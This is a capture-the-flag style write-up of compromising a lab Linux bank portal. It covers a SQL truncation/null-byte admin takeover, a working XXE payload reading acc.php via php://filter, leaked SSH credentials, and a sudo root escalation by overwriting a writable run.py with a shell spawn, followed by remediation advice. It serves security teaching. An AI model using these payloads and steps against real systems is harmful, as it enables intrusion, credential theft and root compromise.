Case file

SQL truncation admin, XXE credential theft, and sudo run.py overwrite

Intermediate Linux engagement: bank portal registration abused SQL truncation to seize admin; XXE on forms.php read acc.php credentials for SSH as cyber; a sudo-allowed run.py path was overwritten for root.

Intermediate28 minLinux · Web · XXE · Privilege Escalation
01

Engagement summary

Registration truncation overwrote the admin password. XXE recovered cyber’s SSH secret. Directory-writable run.py under NOPASSWD python completed root.

BATTERY (10.10.204.193) hosted a bank portal on Apache. An ELF under /report leaked guest/guest and admin@bank.a. Registering with a truncated/null-byte username overwrote the admin account password. Authenticated XXE on forms.php used php://filter to base64-read /var/www/html/acc.php, which commented cyber:super#secure&password!. SSH as cyber showed sudo NOPASSWD for /usr/bin/python3 /home/cyber/run.py while the home directory remained writable — removing and recreating run.py with os.system('/bin/sh') yielded root on the next sudo invocation.

Business impact

SQL truncation and null-byte registration bugs are account takeover. XXE turns form parsers into file readers. Sudo over a script in a user-writable directory is root by design. Fix column lengths and input validation, disable external entities, and place sudo scripts in root-owned immutable paths.

02

Recon and SQL truncation to admin

strings on /report and registration truncation seized admin@bank.a.

OPERATOR · RECON

savvy@lab:~$ nmap -sSCV 10.10.204.193

22/tcp open ssh OpenSSH 6.6.1p1

80/tcp open http Apache httpd 2.4.7

savvy@lab:~$ gobuster dir -u http://10.10.204.193 -w common.txt -x php

/register.php /admin.php /forms.php /acc.php /report

savvy@lab:~$ wget http://10.10.204.193/report && strings report | head

guest/guest admin@bank.a cyber@bank.a

OPERATOR · TRUNCATION

# register uname=admin@bank.a%00 (or padded spaces) with attacker-chosen password

savvy@lab:~$ # login /admin.php as admin@bank.a with the password we set

03

XXE to cyber SSH

forms.php XXE read acc.php; decoded comment held cyber’s password for SSH.

PAYLOAD

xxe.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">
]>
<root>
  <name>aaa</name>
  <search>&xxe;</search>
</root>

OPERATOR · XXE / SSH

savvy@lab:~$ echo '<base64 from XXE>' | base64 -d | grep -i cred

//MY CREDS :- cyber:super#secure&password!

savvy@lab:~$ ssh cyber@10.10.204.193

savvy@lab:~$

04

Overwrite sudo run.py for root

Replaced /home/cyber/run.py with a shell spawn and invoked it under sudo.

OPERATOR · ROOT

savvy@lab:~$ sudo -l

(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

savvy@lab:~$ rm run.py && printf 'import os\nos.system("/bin/sh")\n' > /home/cyber/run.py

savvy@lab:~$ sudo /usr/bin/python3 /home/cyber/run.py

root@lab:~# id

uid=0(root) gid=0(root) groups=0(root)

Remediation

Enforce exact-length unique constraints on usernames; reject null bytes. Disable XXE in XML parsers. Move privileged scripts to /usr/local/sbin owned by root with mode 755 and no user write on the parent directory.